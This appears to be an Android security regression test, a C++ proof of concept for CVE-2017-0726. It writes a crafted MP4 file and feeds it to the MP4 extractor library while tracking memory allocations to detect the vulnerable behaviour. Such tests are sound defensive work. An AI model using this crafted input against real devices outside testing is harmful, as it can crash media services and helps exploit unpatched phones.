| /** |
| * Copyright (C) 2020 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| #include "../includes/common.h" |
| #include "stdlib.h" |
| |
| #include "../includes/memutils_track.h" |
| #include <android/IMediaExtractor.h> |
| #include <datasource/DataSourceFactory.h> |
| #include <dlfcn.h> |
| #include <media/DataSource.h> |
| #include <media/IMediaHTTPService.h> |
| #include <media/stagefright/DataSourceBase.h> |
| #include <media/stagefright/MediaExtractor.h> |
| #include <media/stagefright/MetaData.h> |
| |
| unsigned char mp4_data[] = { |
| 0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70, 0x6D, 0x70, 0x34, 0x32, |
| 0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32, 0x64, 0x62, 0x79, 0x31, |
| 0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74, 0x6D, 0x6F, 0x6F, 0x76, |
| 0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61, 0x00, 0x00, 0x00, 0x64, |
| 0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, |
| 0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50, 0x2D, 0x2D, 0x2D, 0x2D, |
| 0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00, |
| 0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x69, 0x54, |
| 0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14, 0x6E, 0x61, 0x6D, 0x65, |
| 0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E, 0x53, 0x4D, 0x50, 0x42, |
| 0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61, 0x33, 0x32, 0x20, 0x34, |
| 0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32}; |
| |
| #if _32_BIT |
| #define LIBNAME "/system/lib/extractors/libmp4extractor.so" |
| #define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmp4extractor.so" |
| #elif _64_BIT |
| #define LIBNAME "/system/lib64/extractors/libmp4extractor.so" |
| #define LIBNAME_APEX \ |
| "/apex/com.android.media/lib64/extractors/libmp4extractor.so" |
| #endif |
| |
| #define TOTAL_SIZE 524432 |
| #define DATA_SIZE 144 |
| #define TRACK_SIZE (TOTAL_SIZE - DATA_SIZE + 16 + 1) |
| #define TMP_FILE "/data/local/tmp/temp_cve_2017_0726" |
| |
| char enable_selective_overload = ENABLE_NONE; |
| using namespace android; |
| |
| bool is_tracking_required(size_t size) { return (size == TRACK_SIZE); } |
| |
| int main() { |
| GetExtractorDef getDef = nullptr; |
| FILE *fp = fopen(TMP_FILE, "wb"); |
| if (!fp) { |
| return EXIT_FAILURE; |
| } |
| |
| char zero_array[TOTAL_SIZE - DATA_SIZE]; |
| memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char)); |
| |
| /* Write mp4 stream */ |
| fwrite(mp4_data, 1, DATA_SIZE, fp); |
| |
| /* Append 0's to create custom PoC */ |
| fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp); |
| fclose(fp); |
| |
| void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL); |
| if (!libHandle) { |
| libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL); |
| if (!libHandle) { |
| remove(TMP_FILE); |
| return EXIT_FAILURE; |
| } |
| } |
| |
| getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF"); |
| if (!getDef) { |
| dlclose(libHandle); |
| remove(TMP_FILE); |
| return EXIT_FAILURE; |
| } |
| |
| sp<DataSource> dataSource = |
| DataSourceFactory::getInstance()->CreateFromURI(NULL, TMP_FILE); |
| if (dataSource == nullptr) { |
| dlclose(libHandle); |
| remove(TMP_FILE); |
| return EXIT_FAILURE; |
| } |
| |
| void *meta = nullptr; |
| void *creator = nullptr; |
| FreeMetaFunc freeMeta = nullptr; |
| float confidence; |
| if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) { |
| creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence, |
| &meta, &freeMeta); |
| } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) { |
| creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence, |
| &meta, &freeMeta); |
| } |
| if (!creator) { |
| dlclose(libHandle); |
| remove(TMP_FILE); |
| return EXIT_FAILURE; |
| } |
| |
| CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta); |
| if (ret == nullptr) { |
| dlclose(libHandle); |
| remove(TMP_FILE); |
| return EXIT_FAILURE; |
| } |
| |
| if (meta != nullptr && freeMeta != nullptr) { |
| freeMeta(meta); |
| } |
| |
| sp<MetaData> metaData = new MetaData(); |
| MediaExtractorCUnwrapper *mediaExtractorCUnwrapper = |
| new MediaExtractorCUnwrapper(ret); |
| enable_selective_overload = ENABLE_MALLOC_CHECK; |
| mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1); |
| enable_selective_overload = ENABLE_NONE; |
| |
| remove(TMP_FILE); |
| dlclose(libHandle); |
| |
| return EXIT_SUCCESS; |
| } |